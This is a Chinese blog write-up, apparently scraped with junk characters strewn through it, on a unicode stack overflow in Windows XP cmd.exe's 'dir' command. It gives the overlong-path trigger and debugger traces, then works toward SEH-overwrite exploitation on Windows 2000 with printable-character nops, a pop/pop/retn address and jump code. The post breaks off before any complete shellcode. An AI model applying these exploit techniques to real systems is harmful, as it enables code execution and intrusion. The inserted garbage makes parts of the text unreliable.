小心我“DIR”溢出你!

上一篇 / 下一篇  2008-07-26 07:15:18

IXPUB技术博客gmT Fc

好吧,我承认我昨天是在弄DIR溢出

d%I/A0J Lbzp&K C0

As6m7Ur%I0不是sharpxxxxx那个。

h.a3rDjQ0

:E3lH0u}3W y,RA ~0dir溢出其实有好几个,有的和cmd有关,有的需要特定环境。

^!?-dO2LWy0[ u A N0

"zrY`:ffK!]t0我今天整的这个又是一个YY漏洞。

9\c L?&]*]d)p0

(kV sJ M$et s~5u0微软一直没有补,因为在微软看来,这个应该不属于漏洞吧,溢出了也提不了权限,顶多算一个bug。IXPUB技术博客LX$gd Av g V

IXPUB技术博客`1O%R x x'hFo3od

所以很多牛人都不整这个bug,而最近dummy爆了一个暴风影音的0day,也是个unicode的,我只在IE里触发了,不知道在perl脚本下咋触发,后来想起了这个dir漏洞。

z0l1B"k}0

w g-f_/u0我最喜欢做的事情就是整些没用的,仅仅用来YY的东西,时不时自虐一下,所以今天看看这个dir溢出。
2wx6`1yE)z0
jPx c6_c3d0在我的xp sp2 cn上,cmd版本

@HH#H j |0IXPUB技术博客TD#j.H/wl

Microsoft Windows XP [版本 5.1.2600]IXPUB技术博客6s b;k vH-j%W7?
(C) 版权所有 1985-2001 Microsoft Corp.IXPUB技术博客L^y*M{RO

IXPUB技术博客9o_K(H c;\ o(V+T+E!z

首先,触发漏洞:D:>dir \\?\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......(超长)

_p%SERkO,B0IXPUB技术博客0V3e2G/`3Q\.L#aU

就溢出了,cmd crash,简单吧IXPUB技术博客.k3ix*h8`/H

IXPUB技术博客p)C;`(Ow+S{?

大概200多个A就可以造成溢出。

"Dm$Dc5T{1k1V0

GK(NN,D,|B0看看溢出时候的状况:IXPUB技术博客2t6a6TD2S
IXPUB技术博客U;dx4CJ8f
发现输出的参数: A 经过unicode编码后,一路覆盖到了栈底,异常了~~~IXPUB技术博客{a'YmJ9b/]^p_

IXPUB技术博客:lM~jqQ/h?3z

异常时寄存器如下:IXPUB技术博客$ina{!^#m1N
IXPUB技术博客0J q/Q|I,o`xs
停在这里:IXPUB技术博客UVi8@ u;U
77C17EA2    66:8901         MOV WORD PTR DS:[ECX],AX     ; //===> EIP指向这里IXPUB技术博客FB'lV0lw
77C17EA5    41              INC ECXIXPUB技术博客 [4xo q0@
77C17EA6    41              INC ECXIXPUB技术博客~{+FB8MY5A$s

|3N-F7^ `iW0SEH也被覆盖了:IXPUB技术博客 T9X?YT8sL#B
0013FF30   00410041 A.A.IXPUB技术博客$mTb+e]w
0013FF34   00410041 A.A. 指向下一个 SEH 记录的指针
g ? o Y,p_ T00013FF38   00410041 A.A. SE处理程序
Lu9U?0xO"T&o00013FF3C   00410041 A.A.IXPUB技术博客2D#z[,tk
0013FF40   00410041 A.A.
|*hIg7f!wuF00013FF44   00410041 A.A.IXPUB技术博客-|"?.SSz3q,q#B)`

Il-rC!zZ0其实栈溢出也好利用,要么覆盖返回地址,要么覆盖seh。IXPUB技术博客Q$Xa1_9n E]$a

W`[ e:xG*D)r:V0第二次找到漏洞原因,重新设定好断点,触发之:IXPUB技术博客`-AQ ^4yao

ZI;fh8y7Y0溢出就发生在这个该死的 wcscpy 里IXPUB技术博客w9?/xe+F'I7LC

IXPUB技术博客$O wN)_2r4K:}"h Q

实际上是wcscpy( [ebp-210h], [ebp-41C] );IXPUB技术博客5TO8D6v3xK1T

IXPUB技术博客 fcT{!t

跟进去后:
2z.A?1NO3M[/g077C17E94 > 8BFF            MOV EDI,EDIIXPUB技术博客6m9KUz8g3r)w
77C17E96    55           PUSH EBP
~8r^)ZnB Gk077C17E97    8BEC        MOV EBP,ESPIXPUB技术博客3]#w0M L xt'L6u
77C17E99    8B4D 08        MOV ECX,DWORD PTR SS:[EBP+8]
oc1R)A ZE-C|q:d wt077C17E9C    8B55 0C       MOV EDX,DWORD PTR SS:[EBP+C]IXPUB技术博客-r7r t%~` DD
77C17E9F    66:8B02        MOV AX,WORD PTR DS:[EDX]IXPUB技术博客1p2{ \ E:@1Q6?
77C17EA2    66:8901        MOV WORD PTR DS:[ECX],AX
5E@M[oA2Fz077C17EA5    41               INC ECXIXPUB技术博客oeOy8P3wCuh
77C17EA6    41             INC ECXIXPUB技术博客 Vj;Bh,S.Ej
77C17EA7    42           INC EDX
#{wm%E(R$`1h077C17EA8    42             INC EDXIXPUB技术博客 R$r1h ?G-vE:zk+A
77C17EA9    66:85C0       TEST AX,AXIXPUB技术博客` H6z ?j0`
77C17EAC ^ 75 F1        JNZ SHORT msvcrt.77C17E9F
#Lh3oVbSd{Q077C17EAE    8B45 08       MOV EAX,DWORD PTR SS:[EBP+8]
8J*gH|,y)?077C17EB1    5D                POP EBPIXPUB技术博客?*g#h$N%M |o T3H `
77C17EB2    C3                RETNIXPUB技术博客g,^ Zf [*Y

IXPUB技术博客1d_ |C2y&ulf

跟完之后才发现一个见鬼的地方,由于src和dest相距不远,所以在拷贝的过程中,dest把src的末尾的0字节给覆盖掉啦~~这样这个拷贝就因为找不到src的0字节而无法结束,所以会一直拷贝下去。IXPUB技术博客(ui%C w4y

IXPUB技术博客N)] v.sBQ s"_x

最后的结果就是在栈里有了若干个拷贝的镜像,最后因为一路覆盖到了栈底,所以异常了!IXPUB技术博客 hq@L f F
IXPUB技术博客b:FAJHMk
注意看 \.\.?.\. 是分隔不同拷贝的地方IXPUB技术博客7bXY$D:znn

2|"Oj$_1E7^.@d-\0如果这个溢出是发生在堆里,那么就heap spray了,最后会造成内存泄露。

{5oR s Gm0

!w*I!T*p)T?x+q/Pu0这里是发生在栈里的,那就叫做stack spray吧!IXPUB技术博客Q8v3DzZ

C5[ch`W!K j0由于这里肯定会异常,wcscpy根本就无法正常返回,所以覆盖返回地址控制的方法可以不同考虑了。

t&A7bf+c0zq6M ^E0IXPUB技术博客s&^bx9z HDPLH

那么正常人都会想到这里覆盖seh利用

(v8}*t^P+~?o*d M0IXPUB技术博客a9w'fs&_0}2g

而在这里seh也确实是被我们覆盖掉了。

3Q-gTAz+I0`2T)vqp0

y$i{l1v P!L0不过可惜的是,xp sp2已经有了safeseh的保护了。而我们这个漏洞更是可怜的很。IXPUB技术博客-O |1U.C~
IXPUB技术博客 S d/ooJb
可以看到,加载的模块居然没有一个可以利用的~!IXPUB技术博客z{-Y ?_

IXPUB技术博客 M L5Z2B'v~

然后诡异的事情发生了,本以为代码页是可以跳转的,结果在这里都不行。IXPUB技术博客j'x4C9fS#H

k.KR c"d+R5~;g/w@0经过测试,唯一能跳转的是内存中属性为 ”RE" 的段,以及cmd.exe自己注册的seh handlerIXPUB技术博客Ku-Op hM5h

"wE |}5jn A0到了这里,基本可以判断在正常情况下这个漏洞在xp sp2下是无法利用的了,当然如果有什么牛人有啥新的利用方法,也请告诉我。

F9O+S'M^7C0

8li)u%e)^ w']0欲知后事如何,且听下回分解。IXPUB技术博客 D'S9x9O0P@GA^X

q.y|1L8_!V:ZZp0接着前面来。

%{0YnR3l5c(\5t0

k Lih;DP_0在xp sp2 上由于有safeseh所以无法成功利用,那么我们换到win2000。IXPUB技术博客hC$G8V/HVPY9|cl\

bc3h&uaS0L0测试平台:Windows 2000 Server SP4 CNIXPUB技术博客#]_t I&_%E~ WuY

a,R+rxtD0当我信心满满,摩拳擦掌的来到2000平台时,遭受到了一次严重的打击,把我到了~~
-xN9[0tHX]0
k9vC8JK/^K(_0win 2000的默认cmd居然没有这个漏洞!

gWelLfa0

*PR&h7q:@0不过,你不能小看我的无耻。

xF3~U;}_4S s)p0

yf3J)v\rcsL0G0是的,为了达到YY强国的目的,为了彻底的强XDIR,我把XP下的cmd.exe拷贝了一份到2000平台,这样就可以正常溢出了。

b7Ll2}[V0

RDC;z@*I,Cn ] H0不过奇怪的是,banner显示的还是5.0 的版本IXPUB技术博客6x ^B3F u

IXPUB技术博客)Ar/r6]7y;w I#Wg ~o

由于摆脱了safeseh的限制,在2000下我们可以任意跳转到喜欢去的地方IXPUB技术博客dn2I4Zs&k
IXPUB技术博客2NTUn$V
而且更开心的是,到了2000下,可以直接输入不可见字符了(也许是我土,void牛告诉我cmd里按住ctrl,再从小键盘输入数字就可以打不可见字符,不过我的笔记本没小键盘,无法体验了。),只要是双字节的不可见字符(用UltraEdit,进行unicode的16进制编辑即可),拷贝过来直接贴进去就行了。

#qAB6Gm'qiUL3AH0IXPUB技术博客)e.h^}#e

在我系统上,cmd用的是GBK编码
l1b5r:b2KQ$[$\0
&_M(a\ X:gr%T0E0这样的话,包括覆盖SEH、写shellcode在内,都会非常轻松。IXPUB技术博客Uq4n:w?8t%xiuR

.d%H,w ~X+y\"^F0但是在开篇我就说了,我今天是来自虐的,所以我准备用纯可见字符获取控制权。IXPUB技术博客Z^ _9Y^ l

b-\MhREN0为了选用合适的nop,可以用unicode的“q",编码后就是 "7100"IXPUB技术博客)bo^l@q-}t

IXPUB技术博客-p9V8wv t(FrE!k#o

翻译成汇编代码就是:
+kW\1h[?Q |3XK:O0jno 00
zP9T9l ^(_con"`w0也就起到了nop的作用IXPUB技术博客-jp/`|SE Ef

EEP1dSd.y,]Wt YZ|0而跳转地址,因为是覆盖seh,所以需要 pop/pop/retn 或者是 jmp ebx 类型的。IXPUB技术博客2u-HA R$mH

?E LfG:U Cd0我选择了 IMM32.dll 里的0x75e05db0
(|uz']8F4} CD075E05DB0    5F              POP EDI                                  ; ntdll.77FBB272IXPUB技术博客mtS1Y#~#Fr|"J
75E05DB1    5E              POP ESIIXPUB技术博客"F8u4yS beDD
75E05DB2    C2 0400         RETN 4

9e&V jr@s"k t0IXPUB技术博客 G(xB` mv6M

这个地址正好是unicode的汉字: "嶰痠"

3R+I3LMHGVN0IXPUB技术博客Y`#Y6j B_

最妙的是,这个地址当作指令执行也可以起到nop的效果。

8D|`aM0IXPUB技术博客7af,h`T

但是上篇分析了,这个溢出会循环拷贝,会有很多镜像,所以seh后面并没有给我们留太多的空间。IXPUB技术博客2Ve@ m*{:B;D

IXPUB技术博客(b7Pd _n9H4M

0012FF34   00710071 q.q. 指向下一个 SEH 记录的指针IXPUB技术博客R9E,V8bk f2k
0012FF38   75E05DB0 癩鄒    SE处理程序

.f MJvx2B(K0

R7C6{2w u1VD crX0......

[1D"z6p'Xy0

&uHo2w$@00012FF4C   00710071 q.q.IXPUB技术博客3XtNn,Q P3|1Dq
0012FF50   00710071 q.q.IXPUB技术博客Z$J9|Iy'xIHb(K
0012FF54   00710071 q.q.IXPUB技术博客;T}yH:["@ XS-ks
0012FF58   00710071 q.q.
\1D!PB/?LW/C%x00012FF5C   00710071 q.q.IXPUB技术博客/Xa},j9}%s
0012FF60   00710071 q.q.
vH1e&s^Z!x'GPZt00012FF64   00710071 q.q.IXPUB技术博客f&tuZ \7T)TQ+C
0012FF68   00710071 q.q.
eZBGy;m:U-v+e:]00012FF6C   00710071 q.q.
hn4M.||R Y00012FF70   00710071 q.q.IXPUB技术博客;tg Ka&`j#~/D
0012FF74   00710071 q.q.IXPUB技术博客nD5I3TL;_+R'[
0012FF78   00710071 q.q.IXPUB技术博客*BT$Gor3y U0ZK
0012FF7C   005C005C \.\.      ==> 下一个拷贝开始
K F,[`m~^wH8h00012FF80   005C003F ?.\.
IXPUB技术博客1FunE;Y
0012FF84   00710071 q.q.IXPUB技术博客B a#gDa

-_'O0q&O]J#u1@R0这么一点空间显然不够写太多的东西,所以需要跳到payload的前半部分去执行,以争取更多的写入Shellcode的空间

kE2T TSr0u1M.z0

rN wGx;~3Y.K$o0由于是在追求可见字符,所以在这段跳转的mini code的要求有点特别。IXPUB技术博客O|qO-Ho

IXPUB技术博客ztHX.J{ k0} D(I

经过寻找,发现经过了 MOV AL, 5D 改变eax后( 75E05DB0中的B0 5D),IXPUB技术博客:n8W#e?7yE#O.^ ]#D

IXPUB技术博客;Na8_&u'M9]r

[eax+3]比较符合这个要求,指向的是payload的前部。IXPUB技术博客d]]'x h"g

IXPUB技术博客ukNkLXI

所以使用如下的jmp code:
$ok Lka0inc eax
8I@x%QkB0inc eax
*XN3f'W D1S:\0inc eax
%X"[4B&Z%`7{^&wV ?d0call [eax+0x0h]
+{8Dso9X1^4i$O0nop

yz-V0c/{CCTzy0

9W7RK$l(Gq _0经过一些变换后,变成可见字符,SEH跳转后如下:IXPUB技术博客+R9R#][!H

5A.?8kO(E0其中ESI里的地址比较无关紧要,所以NOP的工作就交到了ESI的身上IXPUB技术博客;z d)Y l`3NR|T

IXPUB技术博客8H]-ts#\+{

看看栈里的数据:
k4D*e&pD,e.k00012FF34   00710071 q.q. 指向下一个 SEH 记录的指针
c4YA+n7Tl*jHOq00012FF38   75E05DB0 癩鄒    SE处理程序
2c X N$B;C00012FF3C   00460040 @.F.
#a"kS {?7yu00012FF40   00460040 @.F.
~)A![/g0rY0v c00012FF44   00460040 @.F.
!] S e^D.w8oi00012FF48   900050FF

TAG: DIR

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2009-01-08  
    123
45678910
11121314151617
18192021222324
25262728293031

数据统计

  • 访问量: 66400
  • 日志数: 1219
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2009-01-08

RSS订阅

Open Toolbar